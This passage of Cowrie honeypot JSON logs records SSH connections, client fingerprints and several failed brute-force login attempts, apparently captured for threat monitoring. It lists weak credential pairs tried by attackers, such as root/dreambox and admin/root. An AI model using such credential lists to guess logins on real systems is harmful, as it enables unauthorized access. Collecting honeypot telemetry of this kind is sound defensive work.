com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:41:13.387661Z","src_ip":"185.239.84.249","session":"6e6acd836c3a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password100","message":"login attempt [root/Password100] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:41:14.040046Z","src_ip":"185.239.84.249","session":"6e6acd836c3a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:41:15.266000Z","src_ip":"185.239.84.249","session":"6e6acd836c3a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":33900,"dst_ip":"159.203.135.109","dst_port":22,"session":"6b208228cc67","protocol":"ssh","message":"New connection: 159.203.92.129:33900 (159.203.135.109:22) [session: 6b208228cc67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:41:15.685247Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:41:15.689623Z","src_ip":"159.203.92.129","session":"6b208228cc67","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:41:15.694175Z","src_ip":"159.203.92.129","session":"6b208228cc67","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"redroot","message":"login attempt [admin/redroot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:41:15.705437Z","src_ip":"159.203.92.129","session":"6b208228cc67","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:41:16.712423Z","src_ip":"159.203.92.129","session":"6b208228cc67","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.154.234.9","src_port":19565,"dst_ip":"10.17.0.5","dst_port":22,"session":"d6878ce40d50","protocol":"ssh","message":"New connection: 212.154.234.9:19565 (10.17.0.5:22) [session: d6878ce40d50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:41:42.093308Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:41:42.098472Z","src_ip":"212.154.234.9","session":"d6878ce40d50","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:41:42.314962Z","src_ip":"212.154.234.9","session":"d6878ce40d50","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.598520278930664,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:41:42.538193Z","src_ip":"46.4.8.162","session":"1c91fb3a415b","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"123vps","message":"login attempt [root/123vps] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:41:43.007092Z","src_ip":"212.154.234.9","session":"d6878ce40d50","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:41:44.185511Z","src_ip":"212.154.234.9","session":"d6878ce40d50","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":55054,"dst_ip":"159.203.135.109","dst_port":22,"session":"224d17532a46","protocol":"ssh","message":"New connection: 159.203.92.129:55054 (159.203.135.109:22) [session: 224d17532a46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:41:59.237920Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:41:59.244920Z","src_ip":"159.203.92.129","session":"224d17532a46","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:41:59.257560Z","src_ip":"159.203.92.129","session":"224d17532a46","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"root","message":"login attempt [admin/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:41:59.270424Z","src_ip":"159.203.92.129","session":"224d17532a46","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:42:00.277236Z","src_ip":"159.203.92.129","session":"224d17532a46","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.119.158","src_port":37266,"dst_ip":"10.17.0.5","dst_port":22,"session":"2fc8d45137da","protocol":"ssh","message":"New connection: 165.154.119.158:37266 (10.17.0.5:22) [session: 2fc8d45137da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:42:10.601110Z"}
{"eventid":"cowrie.client.version","version":"\u0016\u0003\u0001\u0000\\xfc\u0001\u0000\u0000\\xf8\u0003\u0003mJ71T~\\xbb\\x83\\xc5\\xd8\\xd3h5(.\\xa1\\x85%\u001c\\xff\u0239\\xb3\\xd8\u0005\\x87\\x83s\\x81@\\x81\\x9a dwN(\\xfc","message":"Remote SSH version: \u0016\u0003\u0001\u0000\\xfc\u0001\u0000\u0000\\xf8\u0003\u0003mJ71T~\\xbb\\x83\\xc5\\xd8\\xd3h5(.\\xa1\\x85%\u001c\\xff\u0239\\xb3\\xd8\u0005\\x87\\x83s\\x81@\\x81\\x9a dwN(\\xfc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:42:10.606817Z","src_ip":"165.154.119.158","session":"2fc8d45137da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:42:10.611183Z","src_ip":"165.154.119.158","session":"2fc8d45137da","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.119.158","src_port":37282,"dst_ip":"10.17.0.5","dst_port":22,"session":"f37979e37ed8","protocol":"ssh","message":"New connection: 165.154.119.158:37282 (10.17.0.5:22) [session: f37979e37ed8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:42:11.150100Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.239.84.249","src_port":45436,"dst_ip":"159.203.135.109","dst_port":22,"session":"d42b1e3a8ea8","protocol":"ssh","message":"New connection: 185.239.84.249:45436 (159.203.135.109:22) [session: d42b1e3a8ea8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:42:13.511162Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:42:13.515645Z","src_ip":"185.239.84.249","session":"d42b1e3a8ea8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:42:13.733022Z","src_ip":"185.239.84.249","session":"d42b1e3a8ea8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dreambox","message":"login attempt [root/dreambox] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:42:14.173198Z","src_ip":"185.239.84.249","session":"d42b1e3a8ea8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:42:15.393912Z","src_ip":"185.239.84.249","session":"d42b1e3a8ea8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"18.3","message":"Connection lost after 18.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:42:29.421532Z","src_ip":"165.154.119.158","session":"f37979e37ed8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.119.158","src_port":46426,"dst_ip":"10.17.0.5","dst_port":22,"session":"95ca43ce170d","protocol":"ssh","message":"New connection: 165.154.119.158:46426 (10.17.0.5:22) [session: 95ca43ce170d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:42:29.685880Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH_7.4","message":"Remote SSH version: SSH-2.0-OpenSSH_7.4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:42:29.690569Z","src_ip":"165.154.119.158","session":"95ca43ce170d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"b893695067f94c8d2ed92025b192c636","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha256,ext-info-c;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha256","ext-info-c"],"keyAlgs":["ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","rsa-sha2-512","rsa-sha2-256"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: b893695067f94c8d2ed92025b192c636","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:42:29.958931Z","src_ip":"165.154.119.158","session":"95ca43ce170d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:42:30.497967Z","src_ip":"165.154.119.158","session":"95ca43ce170d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.119.158","src_port":46440,"dst_ip":"10.17.0.5","dst_port":22,"session":"633e3d524c76","protocol":"ssh","message":"New connection: 165.154.119.158:46440 (10.17.0.5:22) [session: 633e3d524c76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:42:30.753749Z"}
{"eventid":"cowrie.client.version","version":"SSH-1.5-Server","message":"Remote SSH version: SSH-1.5-Server","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:42:30.761267Z","src_ip":"165.154.119.158","session":"633e3d524c76","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:42:30.766697Z","src_ip":"165.154.119.158","session":"633e3d524c76","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":38656,"dst_ip":"159.203.135.109","dst_port":22,"session":"c4172987ce8b","protocol":"ssh","message":"New connection: 159.203.92.129:38656 (159.203.135.109:22) [session: c4172987ce8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:42:41.024604Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:42:41.029755Z","src_ip":"159.203.92.129","session":"c4172987ce8b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:42:41.059420Z","src_ip":"159.203.92.129","session":"c4172987ce8b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"root!","message":"login attempt [admin/root!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:42:41.169264Z","src_ip":"159.203.92.129","session":"c4172987ce8b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:42:42.175474Z","src_ip":"159.203.92.129","session":"c4172987ce8b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.239.84.249","src_port":37636,"dst_ip":"159.203.135.109","dst_port":22,"session":"bd8e84f5e1e9","protocol":"ssh","message":"New connection: 185.239.84.249:37636 (159.203.135.109:22) [session: bd8e84f5e1e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:43:14.609287Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:43:14.614364Z","src_ip":"185.239.84.249","session":"bd8e84f5e1e9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521",